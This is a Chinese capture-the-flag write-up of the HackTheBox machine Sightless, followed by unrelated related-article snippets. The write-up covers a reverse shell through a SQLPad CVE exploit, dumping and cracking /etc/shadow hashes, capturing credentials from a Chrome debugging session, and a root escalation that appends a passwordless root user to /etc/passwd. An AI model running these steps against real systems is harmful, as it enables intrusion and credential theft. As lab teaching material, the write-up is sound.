当前位置: 首页 > news >正文

HTB:Sightless[WriteUP]

目录

连接至HTB服务器并启动靶机

使用nmap对靶机TCP端口进行开放扫描

继续使用nmap对靶机开放的TCP端口进行脚本、服务扫描

首先尝试对靶机FTP服务进行匿名登录

使用curl访问靶机80端口

使用浏览器可以直接访问该域名

使用浏览器直接访问该子域

Getshell

横向移动

查看用户密码

使用hashid判断哈希值类型

特权提升

USER_FLAG:fe4ebd430e1070f00793fce61187ebb1

查看靶机系统网络连接

直接用浏览器访问本地8080端口页面

使用上述凭证登录到Froxlor面板中

ROOT_FLAG:d24b4ff4e9f46a64036377b1a5cd5d33


连接至HTB服务器并启动靶机

靶机IP:10.10.11.32

分配IP:10.10.14.12


使用nmap对靶机TCP端口进行开放扫描

nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.32

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.32
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-09 06:07 EST
Warning: 10.10.11.32 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.32 (10.10.11.32)
Host is up (0.073s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 44.72 seconds

继续使用nmap对靶机开放的TCP端口进行脚本、服务扫描

nmap -p 21,22,80 -sCV 10.10.11.32


首先尝试对靶机FTP服务进行匿名登录

ftp 10.10.11.32

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ftp 10.10.11.32
Connected to 10.10.11.32.
220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
Name (10.10.11.32:kali): anonymous
550 SSL/TLS required on the control channel
ftp: Login failed
ftp> exit
221 Goodbye.


使用curl访问靶机80端口

curl -I http://10.10.11.32

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.32
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 09 Nov 2024 10:58:54 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://sightless.htb/

将靶机IP与该域名进行绑定

echo '10.10.11.32 sightless.htb' >> /etc/hosts

使用浏览器可以直接访问该域名

先对该域名进行一遍简单的子域名搜索

ffuf -u http://sightless.htb/ -H 'Host: FUZZ.sightless.htb' -w ../dictionary/subdomains-top5000.txt -fc 302

再对它进行敏感文件和路径FUZZ

ffuf -u http://sightless.htb/FUZZ -w ../dictionary/Half-Dir.txt -e .bak,.txt,.php,.py,.sh -t 200

这里也是没扫出什么东西来,只能从网页本身的交互点测试

在SQLPad这一栏中,点击Start Now会跳转至:sqlpad.sightless.htb

将该子域与靶机IP进行绑定

echo '10.10.11.32 sqlpad.sightless.htb' >> /etc/hosts

使用浏览器直接访问该子域

显然,这里就是我们找的突破口

我尝试直接在Github上搜索该应用的漏洞

不知道靶机该SQLPad是否存在该漏洞:CVE-2022-0944,但不影响我尝试一下


Getshell

本地侧nc开始监听

nc -lvnp 1425

直接利用该EXP尝试getshell

python exploit.py http://sqlpad.sightless.htb/ 10.10.14.12 1425

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# python exploit.py http://sqlpad.sightless.htb/ 10.10.14.12 1425
Response status code: 400
Response body: {"title":"connect ECONNREFUSED 127.0.0.1:3306"}
Exploit sent, but server responded with status code: 400. Check your listener.

本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.32] 35302
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# whoami
whoami
root

我没看错吧?直接就是root权限了?尝试查找root_flag的位置

find / -name 'root.txt'

root@c184118df0a6:/var/lib/sqlpad# find / -name 'root.txt'
find / -name 'root.txt'
find: '/sys/devices/virtual/powercap/dtpm': Permission denied

提示没有权限,果然是不出我所料甚至连user_flag都没有权限查看


横向移动

查看根目录

ls /

root@c184118df0a6:/var/lib/sqlpad# ls /
ls /
bin
boot
dev
docker-entrypoint
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

可见目录docker-entrypoint所以我们应该是在docker环境中

查看系统内的用户

cat /etc/passwd

允许登录交互的用户有:root、node、michael

查看用户密码

cat /etc/shadow

root@c184118df0a6:/var/lib/sqlpad# cat /etc/shadow
cat /etc/shadow
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::

这里重点是michael用户的密码,但也先暂时也记一下root用户哈希密码没准后续能用上

root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/

将两条哈希值保存到文件中,便于爆破

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo '$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/' > michael
                                                                                                                                                                
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo '$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.' > root

使用hashid判断哈希值类型

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# hashid < michael
Analyzing '$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/'
[+] SHA-512 Crypt
                                                                                                                                                                
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# hashid < root   
Analyzing '$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.'
[+] SHA-512 Crypt

通过man命令查询SHA-512在hashcat中的参数

直接开始爆破居然提示没有加载到hash

hashcat -m 1700 michael ../dictionary/rockyou.txt

这种情况多数是因为哈希类型选错了,这次我们试一下1800

这次成功爆破出了密码

hashcat -m 1800 michael ../dictionary/rockyou.txt 

账户:michael

密码:insaneclownposse

接下来,我用弱口令字典跑了ROOT用户的哈希值差不多三分钟

账户:root

密码:blindside

用这个密码直接去登录SSH服务显然是不行的

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ssh root@10.10.11.32                          
root@10.10.11.32's password:
Permission denied, please try again.
root@10.10.11.32's password:
Permission denied, please try again.
root@10.10.11.32's password:
root@10.10.11.32: Permission denied (publickey,password).


特权提升

使用michael用户凭证,通过SSH服务登录靶机

ssh michael@10.10.11.32

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ssh michael@10.10.11.32
michael@10.10.11.32's password:
Last login: Sat Nov  9 12:08:37 2024 from 10.10.14.18
michael@sightless:~$ whoami
michael

查找user_flag位置并查看其内容

michael@sightless:~$ find / -name 'user.txt' 2>/dev/null
/home/michael/user.txt
michael@sightless:~$ cat /home/michael/user.txt
fe4ebd430e1070f00793fce61187ebb1

USER_FLAG:fe4ebd430e1070f00793fce61187ebb1


查看靶机系统网络连接

ss -tlnp

尝试通过SSH服务将靶机8080端口映射到本地

ssh -N michael@10.10.11.32 -L 8080:localhost:8080

直接用浏览器访问本地8080端口页面

此时观察靶机系统进程可见,john用户在不断的运行Chrome自动化调试程序(chromedriver)

ps -aux | tee | grep john

我们将这个调试程序占用的端口映射到本地

ssh -N michael@10.10.11.32 -L 59025:localhost:59025

再次查看靶机网络连接

因为不知道该程序还用了哪些端口进行调试,所以我们多转发几个可疑端口

ssh -N michael@10.10.11.32 -L 41829:localhost:41829
ssh -N michael@10.10.11.32 -L 36607:localhost:36607

打开Chrome浏览器,地址栏输入:chrome://inspect/#devices。进入调试配置界面

点击Configure配置好转发端口,这里最好用127.0.0.1不要用localhost

接着就能收到一堆目标向:http://admin.sightless.htb:8080/index.php的调试

接着点击inspect即可进入调试界面

依此点击:Network->index.php->Payload。即可获取登录密码

账户:admin

密码:ForlorfroxAdmin


使用上述凭证登录到Froxlor面板中

在翻找了一顿后,找到了这个东东:PHP-FPM

PHP - FPM是一种基于FastCGI协议的PHP进程管理器,它负责启动、管理PHP进程,根据服务器负载动态调整进程数量,接收Web服务器的PHP请求,有效处理并返回结果,能提高性能、优化内存管理、增强系统稳定性且具有配置灵活性。

这个位置似乎允许我们执行命令

我尝试往/etc/passwd加入一个无密码管理员用户

首先在靶机/tmp目录下新建一个脚本,内容如下

echo "echo '0dayhp::0:0:0dayhp:/root:/bin/bash' >> /etc/passwd" > test.sh

再将restart command修改为:/bin/bash /tmp/test.sh

过一会再查看/etc/passwd文件,会发现无密码管理员用户已经被成功添加

cat /etc/passwd

切换到0dayhp用户

su 0dayhp

michael@sightless:/tmp$ su 0dayhp
root@sightless:/tmp# whoami
root

查找root_flag位置并查看其内容

root@sightless:/tmp# find / -name 'root.txt'
/root/root.txt
find: ‘/proc/1647/task/1647/net’: Invalid argument
find: ‘/proc/1647/net’: Invalid argument
root@sightless:/tmp# cat /root/root.txt
d24b4ff4e9f46a64036377b1a5cd5d33

ROOT_FLAG:d24b4ff4e9f46a64036377b1a5cd5d33

相关文章:

HTB:Sightless[WriteUP]

目录 连接至HTB服务器并启动靶机 使用nmap对靶机TCP端口进行开放扫描 继续使用nmap对靶机开放的TCP端口进行脚本、服务扫描 首先尝试对靶机FTP服务进行匿名登录 使用curl访问靶机80端口 使用浏览器可以直接访问该域名 使用浏览器直接访问该子域 Getshell 横向移动 查…...

国产化浪潮下,高科技企业如何选择合适的国产ftp软件方案?

高科技企业在数字化转型和创新发展中&#xff0c;数据资产扮演着越来越重要的角色。在研发过程中产生的实验数据、设计文档、测试结果等&#xff0c;专利、商标、版权之类的创新成果等&#xff0c;随着信息量急剧增加和安全威胁的复杂化&#xff0c;传统的FTP软件已经不能满足这…...

自注意力机制

当输入一系列向量&#xff0c;想要考虑其中一个向量与其他向量之间的关系&#xff0c;决定这个向量最后的输出 任意两个向量之间的关系计算 计算其他向量对a1的关联性 多头注意力机制 图像也可以看成一系列的向量&#xff0c;交给自注意力机制处理&#xff0c;CNN是特殊的自注意…...

抽象工厂模式详解

1. 引言 1.1 设计模式概述 设计模式&#xff08;Design Patterns&#xff09;是软件开发中解决常见问题的一种最佳实践。它们通过总结经验&#xff0c;提供了一套被验证有效的代码结构和设计原则&#xff0c;帮助开发者提高代码的可维护性、可重用性和可扩展性。 设计模式主…...

【Linux】软硬链接和动静态库

&#x1f525; 个人主页&#xff1a;大耳朵土土垚 &#x1f525; 所属专栏&#xff1a;Linux系统编程 这里将会不定期更新有关Linux的内容&#xff0c;欢迎大家点赞&#xff0c;收藏&#xff0c;评论&#x1f973;&#x1f973;&#x1f389;&#x1f389;&#x1f389; 文章目…...

HarmonyOS入门 : 获取网络数据,并渲染到界面上

1. 环境搭建 开发HarmonyOS需要安装DevEco Studio&#xff0c;下载地址 : https://developer.huawei.com/consumer/cn/deveco-studio/ 2. 如何入门 入门HarmonyOS我们可以从一个实际的小例子入手&#xff0c;比如获取网络数据&#xff0c;并将其渲染到界面上。 本文就是基于…...

【贪心】【哈希】个人练习-Leetcode-1296. Divide Array in Sets of K Consecutive Numbers

题目链接&#xff1a;https://leetcode.cn/problems/divide-array-in-sets-of-k-consecutive-numbers/description/ 题目大意&#xff1a;给出一个数组nums[]和一个数k&#xff0c;求nums[]能否被分成若干个k个元素的连续的子列。 思路&#xff1a;比较简单&#xff0c;贪心就…...

【数据库实验一】数据库及数据库中表的建立实验

目录 实验1 学习RDBMS的使用和创建数据库 一、 实验目的 二、实验内容 三、实验环境 四、实验前准备 五、实验步骤 六、实验结果 七、评价分析及心得体会 实验2 定义表和数据库完整性 一、 实验目的 二、实验内容 三、实验环境 四、实验前准备 五、实验步骤 六…...

Web服务nginx基本实验

安装软件&#xff1a; 启动服务&#xff1a; 查看Nginx服务器的网络连接信息&#xff0c;监听的端口&#xff1a; 查看默认目录&#xff1a; 用Windows访问服务端192.168.234.111的nginx服务&#xff1a;&#xff08;防火墙没有放行nginx服务&#xff0c;访问不了&#xff09; …...

Ubuntu实现双击图标运行自己的应用软件

我们知道在Ubuntu上编写程序&#xff0c;最后编译得到的是一个可执行文件&#xff0c;大致如下 然后要运行的时候在终端里输入./hello即可 但是这样的话感觉很丑很不方便&#xff0c;下边描述一种可以类似Windows上那种双击运行的实现方式。 我们知道Ubuntu是有一些自带的程序…...

js id字符串转数组

将一个逗号分隔的字符串&#xff08;例如 "12,123,213,"&#xff09;转换为一个 JavaScript 数组&#xff0c;并去除多余的逗号&#xff0c;可以使用以下几种方法。这里我将展示几种常见的方式&#xff1a; 方法 1: 使用 split 和 filter 你可以使用 split 方法将字…...

《手写Spring渐进式源码实践》实践笔记(第十八章 JDBC功能整合)

文章目录 第十八章 JDBC功能整合背景技术背景JDBC JdbcTemplate关键特性 用法示例业务背景 目标设计实现代码结构类图实现步骤 测试事先准备属性配置文件测试用例测试结果&#xff1a; 总结 第十八章 JDBC功能整合 背景 技术背景 JDBC JDBC&#xff08;Java Database Conne…...

边缘计算在智能交通系统中的应用

&#x1f493; 博客主页&#xff1a;瑕疵的CSDN主页 &#x1f4dd; Gitee主页&#xff1a;瑕疵的gitee主页 ⏩ 文章专栏&#xff1a;《热点资讯》 边缘计算在智能交通系统中的应用 边缘计算在智能交通系统中的应用 边缘计算在智能交通系统中的应用 引言 边缘计算概述 定义与原…...

HTML5+css3(浮动,浮动的相关属性,float,解决浮动的塌陷问题,clear,overflow,给父亲盒子加高度,伪元素)

浮动的相关属性 以下使浮动的常用属性值&#xff1a; float&#xff1a; 设置浮动 以下属性&#xff1a; left : 设置左浮动 right : 设置右浮动 none &#xff1a;不浮动&#xff0c;默认值clear 清除浮动 清除前面兄弟元素浮动元素的响应 以下属性&#xff1a; left &…...

【C++ 滑动窗口】2134. 最少交换次数来组合所有的 1 II

本文涉及的基础知识点 C算法&#xff1a;滑动窗口及双指针总结 LeetCode2134. 最少交换次数来组合所有的 1 II 交换 定义为选中一个数组中的两个 互不相同 的位置并交换二者的值。 环形 数组是一个数组&#xff0c;可以认为 第一个 元素和 最后一个 元素 相邻 。 给你一个 二…...

使用 PyTorch 实现并测试 AlexNet 模型,并使用 TensorRT 进行推理加速

本篇文章详细介绍了如何使用 PyTorch 实现经典卷积神经网络 AlexNet,并利用 Fashion-MNIST 数据集进行训练与测试。在训练完成后,通过 TensorRT 进行推理加速,以提升模型的推理效率。 本文全部代码链接:全部代码下载 环境配置 为了保证代码在 GPU 环境下顺利运行,我们将…...

Python 数据可视化详解教程

Python 数据可视化详解教程 数据可视化是数据分析中不可或缺的一部分&#xff0c;它通过图形化的方式展示数据&#xff0c;帮助我们更直观地理解和分析数据。Python 作为一种强大的编程语言&#xff0c;拥有丰富的数据可视化库&#xff0c;如 Matplotlib、Seaborn、Plotly 和 …...

springboot集成opencv开源计算机视觉库

最近项目需要用到opencv&#xff0c;网上看到很多资料都是下载安装并且引入jar包与dll文件&#xff0c;感觉很麻烦&#xff0c;不是我想要的&#xff0c;于是花时间折腾了下&#xff0c;不需要任何安装与引入jar包与dll文件&#xff0c;简单方便&#xff0c;快速上手。 先说说…...

CCF ChinaOSC |「开源科学计算与系统建模openSCS专题分论坛」11月9日与您相约深圳

2024年11月9日至10日&#xff0c;以“湾区聚力 开源启智”为主题的2024年中国计算机学会中国开源大会&#xff08;CCF ChinaOSC&#xff09;将在深圳召开。大会将汇聚国内外学术界、顶尖科技企业、科研机构及开源社区的精英力量&#xff0c;共同探索人工智能技术和人类智慧的无…...

2024年11月8日上海帆软用户大会

2024年11月8日上海帆软用户大会 2024年11月8日&#xff0c;上海成功举办了帆软用户大会&#xff0c;主题为“数字聚力&#xff0c;绽放新机”。大会汇聚了众多行业专家和企业代表&#xff0c;共同探讨数字化转型和商业智能领域的最新趋势和实践。 大会亮点&#xff1a; 专家…...

linux之kylin系统nginx的安装

一、nginx的作用 1.可做高性能的web服务器 直接处理静态资源&#xff08;HTML/CSS/图片等&#xff09;&#xff0c;响应速度远超传统服务器类似apache支持高并发连接 2.反向代理服务器 隐藏后端服务器IP地址&#xff0c;提高安全性 3.负载均衡服务器 支持多种策略分发流量…...

【Linux】shell脚本忽略错误继续执行

在 shell 脚本中&#xff0c;可以使用 set -e 命令来设置脚本在遇到错误时退出执行。如果你希望脚本忽略错误并继续执行&#xff0c;可以在脚本开头添加 set e 命令来取消该设置。 举例1 #!/bin/bash# 取消 set -e 的设置 set e# 执行命令&#xff0c;并忽略错误 rm somefile…...

相机Camera日志实例分析之二:相机Camx【专业模式开启直方图拍照】单帧流程日志详解

【关注我&#xff0c;后续持续新增专题博文&#xff0c;谢谢&#xff01;&#xff01;&#xff01;】 上一篇我们讲了&#xff1a; 这一篇我们开始讲&#xff1a; 目录 一、场景操作步骤 二、日志基础关键字分级如下 三、场景日志如下&#xff1a; 一、场景操作步骤 操作步…...

【解密LSTM、GRU如何解决传统RNN梯度消失问题】

解密LSTM与GRU&#xff1a;如何让RNN变得更聪明&#xff1f; 在深度学习的世界里&#xff0c;循环神经网络&#xff08;RNN&#xff09;以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而&#xff0c;传统RNN存在的一个严重问题——梯度消失&#…...

c++ 面试题(1)-----深度优先搜索(DFS)实现

操作系统&#xff1a;ubuntu22.04 IDE:Visual Studio Code 编程语言&#xff1a;C11 题目描述 地上有一个 m 行 n 列的方格&#xff0c;从坐标 [0,0] 起始。一个机器人可以从某一格移动到上下左右四个格子&#xff0c;但不能进入行坐标和列坐标的数位之和大于 k 的格子。 例…...

多模态商品数据接口:融合图像、语音与文字的下一代商品详情体验

一、多模态商品数据接口的技术架构 &#xff08;一&#xff09;多模态数据融合引擎 跨模态语义对齐 通过Transformer架构实现图像、语音、文字的语义关联。例如&#xff0c;当用户上传一张“蓝色连衣裙”的图片时&#xff0c;接口可自动提取图像中的颜色&#xff08;RGB值&…...

TRS收益互换:跨境资本流动的金融创新工具与系统化解决方案

一、TRS收益互换的本质与业务逻辑 &#xff08;一&#xff09;概念解析 TRS&#xff08;Total Return Swap&#xff09;收益互换是一种金融衍生工具&#xff0c;指交易双方约定在未来一定期限内&#xff0c;基于特定资产或指数的表现进行现金流交换的协议。其核心特征包括&am…...

Spring AI 入门:Java 开发者的生成式 AI 实践之路

一、Spring AI 简介 在人工智能技术快速迭代的今天&#xff0c;Spring AI 作为 Spring 生态系统的新生力量&#xff0c;正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务&#xff08;如 OpenAI、Anthropic&#xff09;的无缝对接&…...

JVM 内存结构 详解

内存结构 运行时数据区&#xff1a; Java虚拟机在运行Java程序过程中管理的内存区域。 程序计数器&#xff1a; ​ 线程私有&#xff0c;程序控制流的指示器&#xff0c;分支、循环、跳转、异常处理、线程恢复等基础功能都依赖这个计数器完成。 ​ 每个线程都有一个程序计数…...

安宝特案例丨Vuzix AR智能眼镜集成专业软件,助力卢森堡医院药房转型,赢得辉瑞创新奖

在Vuzix M400 AR智能眼镜的助力下&#xff0c;卢森堡罗伯特舒曼医院&#xff08;the Robert Schuman Hospitals, HRS&#xff09;凭借在无菌制剂生产流程中引入增强现实技术&#xff08;AR&#xff09;创新项目&#xff0c;荣获了2024年6月7日由卢森堡医院药剂师协会&#xff0…...